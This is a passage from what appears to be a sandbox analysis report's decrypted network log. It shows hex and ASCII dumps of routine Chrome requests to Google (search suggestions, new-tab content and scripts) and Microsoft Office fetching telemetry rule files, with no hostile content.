2024-11-22 13:43:34 UTC	124	IN	Data Raw: 63 62 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 6d 61 20 63 68 72 69 73 20 73 74 61 70 6c 65 74 6f 6e 22 2c 22 64 72 69 6e 6b 69 6e 67 20 77 61 74 65 72 22 2c 22 67 6f 6f 67 6c 65 20 70 69 78 65 6c 20 74 61 62 6c 65 74 22 2c 22 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 6e 76 69 64 69 61 20 73 74 6f 63 6b 73 20 65 61 72 Data Ascii: cbb)]}'["",["cma chris stapleton","drinking water","google pixel tablet","weather forecast snow storm","nvidia stocks ear
2024-11-22 13:43:34 UTC	1390	IN	Data Raw: 6e 69 6e 67 73 22 2c 22 32 30 32 35 20 6e 66 6c 20 6d 6f 63 6b 20 64 72 61 66 74 73 22 2c 22 32 30 32 35 20 63 6f 61 63 68 65 6c 6c 61 20 6c 69 6e 65 75 70 22 2c 22 73 61 6d 73 75 6e 67 20 67 61 6c 61 78 79 20 73 32 35 20 75 6c 74 72 61 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 3a 5b 7b 22 7a 6c 22 3a 31 30 30 Data Ascii: nings","2025 nfl mock drafts","2025 coachella lineup","samsung galaxy s25 ultra"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":100
2024-11-22 13:43:34 UTC	1390	IN	Data Raw: 6d 68 30 64 55 68 79 65 44 56 4d 59 56 4e 6a 63 56 70 50 63 57 6f 77 52 6b 78 47 4e 58 68 71 62 47 56 54 4d 32 4a 6f 51 33 4e 6e 65 6b 78 4a 54 54 56 36 54 56 70 56 65 48 41 7a 4d 7a 56 57 53 45 64 36 63 6b 34 77 4e 47 6b 7a 53 56 4e 7a 56 79 74 78 4e 55 6b 77 53 6a 56 56 63 44 4e 70 55 54 42 46 54 31 70 5a 65 56 46 77 51 6c 4e 5a 4d 6a 5a 56 53 7a 4a 33 4e 58 64 45 52 46 59 78 51 57 70 4b 61 6a 46 69 4f 46 6c 58 53 7a 64 6b 64 47 4a 70 55 30 68 57 4e 6d 78 44 54 6d 52 50 4d 31 67 76 53 31 6c 79 57 6a 46 47 64 33 6c 73 4d 57 39 72 62 31 56 4b 51 6b 74 54 55 44 64 79 61 6e 56 48 57 57 6b 78 59 6c 42 6f 55 6b 4e 47 53 31 5a 4b 52 32 4e 53 51 6a 49 7a 4e 57 59 78 4d 58 42 70 64 31 68 70 53 6d 52 72 64 6e 6c 31 61 44 6c 46 52 58 45 34 56 6a 52 78 5a 31 52 76 Data Ascii: mh0dUhyeDVMYVNjcVpPcWowRkxGNXhqbGVTM2JoQ3NnekxJTTV6TVpVeHAzMzVWSEd6ck4wNGkzSVNzVytxNUkwSjVVcDNpUTBFT1pZeVFwQlNZMjZVSzJ3NXdERFYxQWpKajFiOFlXSzdkdGJpU0hWNmxDTmRPM1gvS1lyWjFGd3lsMW9rb1VKQktTUDdyanVHWWkxYlBoUkNGS1ZKR2NSQjIzNWYxMXBpd1hpSmRrdnl1aDlFRXE4VjRxZ1Rv
2024-11-22 13:43:34 UTC	362	IN	Data Raw: 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 Data Ascii: ,{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,36
2024-11-22 13:43:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49750	142.250.181.100	443	7188	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:34 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49753	142.250.181.100	443	7188	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:34 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 13:43:35 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 22 Nov 2024 13:43:34 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-22 13:43:35 UTC	372	IN	Data Raw: 31 64 61 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1da2)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-22 13:43:35 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-22 13:43:35 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-22 13:43:35 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-22 13:43:35 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-22 13:43:35 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 31 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700311,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-22 13:43:35 UTC	272	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-22 13:43:35 UTC	364	IN	Data Raw: 31 36 35 0d 0a 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4c 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4b 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 48 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 66 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 5b 49 64 28 5c 22 64 61 74 61 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 49 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 49 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 48 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4e 64 5c 75 Data Ascii: 165g(){return this.i}};_.Ld\u003dnew _.Kd(\"about:invalid#zClosurez\");_.Hd\u003dclass{constructor(a){this.fh\u003da}};_.Md\u003d[Id(\"data\"),Id(\"http\"),Id(\"https\"),Id(\"mailto\"),Id(\"ftp\"),new _.Hd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Nd\u
2024-11-22 13:43:35 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 53 64 2c 66 65 2c 52 64 2c 54 64 2c 59 64 3b 5f 2e 50 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 51 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 Data Ascii: 8000ML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Sd,fe,Rd,Td,Yd;_.Pd\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:void 0};_.Qd\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)re
2024-11-22 13:43:35 UTC	1390	IN	Data Raw: 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 51 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 50 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 64 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 65 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 Data Ascii: )!\u003d\u003dvoid 0};_.de\u003dfunction(a,b){return _.Qd(_.Jc(a,b))};_.S\u003dfunction(a,b){return _.Pd(_.Jc(a,b))};_.T\u003dfunction(a,b,c\u003d0){return _.vb(_.de(a,b),c)};_.ee\u003dfunction(a,b,c\u003d0){return _.vb(_.S(a,b),c)};_.ge\u003dfunction(a,b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49754	142.250.181.100	443	7188	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:34 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 13:43:35 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 22 Nov 2024 13:43:34 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-22 13:43:35 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-22 13:43:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:34 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134334Z-15b8b599d882zv28hC1TEBdchn00000001bg00000000bh3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:34 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:35 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:35 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134335Z-178bfbc474bbbqrhhC1NYCvw74000000033000000000ka53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
